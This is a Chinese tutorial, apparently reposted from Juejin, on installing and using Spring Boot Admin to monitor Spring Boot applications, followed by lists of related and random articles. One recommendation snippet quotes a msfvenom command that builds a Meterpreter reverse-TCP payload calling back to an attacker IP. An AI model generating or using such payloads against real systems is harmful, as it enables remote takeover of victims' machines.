什么是 SpringBoot Admin?

Spring Boot Admin 是一个管理和监控你的 Spring Boot 应用程序的应用程序。这些应用程序通过 Spring Boot Admin Client(通过 HTTP)注册或者使用 Spring Cloud(例如 Eureka)发现。UI只是 Spring Boot Actuator 端点上的一个 AngularJs 应用程序。

快速开始

首先在 IDEA 创建一个 SpringBoot 项目,把它当作 server 端,工程如下:

然后在 pom.xml 中引入依赖:

<dependency>
<groupId>de.codecentric</groupId>
<artifactId>spring-boot-admin-server</artifactId>
<version>1.5.6</version>
</dependency>
<dependency>
<groupId>de.codecentric</groupId>
<artifactId>spring-boot-admin-server-ui</artifactId>
<version>1.5.6</version>
</dependency>复制代码

继续在启动类 SpringbootAdminApplication.java 中引入注解 @EnableAdminServer,然后运行项目:

访问 http://localhost:8084/ 即可:

此时会发现没有任何应用程序的信息。

接下来我们新建一个 SpringBoot 项目,把它当作客户端程序,工程如下:

在 pom.xml 中添加依赖:

<dependency>
<groupId>de.codecentric</groupId>
<artifactId>spring-boot-admin-starter-client</artifactId>
<version>1.5.6</version>
</dependency>复制代码

然后在 application.yml 中设置:

spring.boot.admin.url=http:localhost:8094 用于将当前应用注册到 Spring Boot Admin。

还可以设置,spring.boot.admin.client.name: (应用程序的名字)不设置的话会有默认的名字

此时把两个项目运行起来:

点击图中的 detail 按钮:可以看到应用程序的健康值、内存、JVM、GC 等信息。

metrics 信息:

环境 信息:

log 信息:

JMX 信息:

线程 信息:

Trace 追踪信息:

还可以下载 Heapdump 文件。

刚才首页的应用列表后面有个红色的 ×,我们可以将注册上去的应用移除,但是只要你不把程序停掉,它立马又会注册上去。

还有就是应用列表的 version 和 info 上面的图中为空,下面看看怎么把它变出来:

info.groupId: @project.groupId@info.artifactId: @project.artifactId@info.version: @project.version@复制代码

重新运行客户端程序,刷新页面可以发现:

还可以查询应用程序的事件变化:

客户端应用程序

JMX bean管理

要在管理界面中与JMX-beans进行交互,您必须在客户端应用程序中包含 Jolokia,

pom.xml 加入依赖:

        <dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
</dependency>
复制代码

重启客户端程序后,就可以在这里与 JMX 做交互了:

还有很多 SpringBoot Admin 客户端配置选项:

http://codecentric.github.io/spring-boot-admin/1.5.6/#spring-boot-admin-client

服务端程序

也有些 SpringBoot Admin 服务端程序配置选项:

http://codecentric.github.io/spring-boot-admin/1.5.6/#spring-boot-admin-server

官方文档里面还有些关于服务下线消息通知的知识,想了解的可以查看:

http://codecentric.github.io/spring-boot-admin/1.5.6/#_notifications

参考文章

http://codecentric.github.io/spring-boot-admin/1.5.6/

推荐阅读:

《深入理解 Java 内存模型》读书笔记

面试-基础篇

Spring Boot 2.0 迁移指南

SpringBoot使用Docker快速部署项目

为什么选择 Spring 作为 Java 框架?

SpringBoot RocketMQ 整合使用和监控

Spring Boot 面试的十个问题

上篇好文:

使用 Spring Framework 时常犯的十大错误

右上角按钮分享给更多人哦~

作者:SpringForAll社区
链接:https://juejin.im/post/5d3f22d55188255d2c7a5973
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

SpringBoot Admin 使用指南的更多相关文章

  1. 实战SpringBoot Admin

    长话短说哦,直接查看下文吧 目录 声明 先锋 前提 SpringBoot Admin 介绍 服务端的搭建 客户端的搭建 参数的指南 尾声 声明 见名知意,实战SpringBoot Admin,实战!实 ...

  2. 使用SpringBoot Admin监控SpringCloud微服务

    spring-boot admin的github地址:https://github.com/codecentric/spring-boot-admin 本文基于SpringCloud的环境和配置上增加 ...

  3. SpringBoot Actuator & SpringBoot Admin

    SpringBoot Actuator提供了很多监控和管理你的spring boot应用的HTTP或者JMX端点,并且你可以有选择地开启和关闭部分功能. 当你的spring boot应用中引入依赖之后 ...

  4. 新手也能看懂的 SpringBoot 异步编程指南

    本文已经收录自 springboot-guide : https://github.com/Snailclimb/springboot-guide (Spring Boot 核心知识点整理. 基于 S ...

  5. 【Springboot】用Springboot Admin监控你的微服务应用

    1 简介 目前,微服务大行其道,各大小公司争相学习模仿,把单体应用拆得七零八落.服务多了,运行的实例多了,给运维人员的压力就更大了.如果有十几个应用,单单做Health Check就已经够费时间的了. ...

  6. SpringBoot Admin应用监控搭建

    简介 Spring Boot Admin 用于监控基于 Spring Boot 的应用,它是在 Spring Boot Actuator 的基础上提供简洁的可视化 WEB UI. 参考手册地址:htt ...

  7. Django admin 权威指南(一)

    版本: Django 1.10 此部分由官方文档<6.5.1 The Django admin site>翻译而来. 6.5.1.1 概览 默认情况下,使用startproject的时候, ...

  8. Springboot admin 发送邮件失败:com.sun.mail.smtp.SMTPSenderFailedException: 553 Mail from must equal authorized user

    发邮件已经是老生常谈了,今天又遇到了,而且又出了各种问题.我晕哦. 我的配置是: spring.mail.host=smtp..com spring.mail.username=klxxxx spri ...

  9. SpringBoot入坑指南之六:使用过滤器或拦截器

    在Web应用中,常常存在拦截全部或部分请求进行统一处理的应用场景,如权限校验.参数校验.性能监控等. 在SpringMVC框架中,我们可以通过过滤器或拦截器实现相关功能,spring-boot-sta ...

随机推荐

  1. 请给出linux中查看系统已经登录用户的命令?

    w命令 第一行:当前系统运行了多久和系统负载 谁正在远程登录系统并且在干什么 [root@martin ~]# w 11:30:33 up 4 days, 18:10, 2 users, load a ...

  2. Nginx学习笔记---服务与集群

    一.集群 什么是集群 服务器架构集群:多台服务器组成的响应式大并发,高数据量访问的架构体系. 特点: (1)成本高 (2)能够降低单台服务器的压力,使用流量平均分配到多台服务器 (3)使网站服务架构更 ...

  3. 03 我的第一个html页面

    <!--定义文档的类型,一个html就是一个文档--> <!DOCTYPE html> <html lang="en"> <!--head ...

  4. CQRS之旅——旅程7(增加弹性和优化性能)

    旅程7:增加弹性和优化性能 到达旅程的终点:最后的任务. "你不能飞的像一只长着鹪鹩翅膀的老鹰那样."亨利·哈德逊 我们旅程的最后阶段的三个主要目标是使系统对故障更具弹性,提高UI ...

  5. JavaScript 操作 DOM 总结

    基本概念 DOM 是 JavaScript 操作网页的接口,全称为"文档对象模型"(Document Object Model).它的作用是将网页转为一个 JavaScript 对 ...

  6. Scala 学习之路(三)—— 流程控制语句

    一.条件表达式if Scala中的if/else语法结构与Java中的一样,唯一不同的是,Scala中的if表达式是有返回值的. object ScalaApp extends App { val x ...

  7. Kali-利用metasploit中的exploit/multi/handler进行攻击

    在攻击服务器上生成连接软件,LHOST为攻击机IP地址 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=4 ...

  8. Mui a 链接失效的解决办法

    方法一: mui('body').on('tap', 'a', function() { if(this.href){   //判断链接是否存在 location.href = this.href; ...

  9. 一文学会Java死锁和CPU 100% 问题的排查技巧

    做一个积极的人 编码.改bug.提升自己 我有一个乐园,面向编程,春暖花开 工欲善其事,必先利其器 00 本文简介 作为一名搞技术的程序猿或者是攻城狮,想必你应该是对下面这两个问题有所了解,说不定你在 ...

  10. Java连载3-编译与运行阶段详解&JRE,JDK,JVM关系

    ·一. 1.JDK下载地址:https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html ...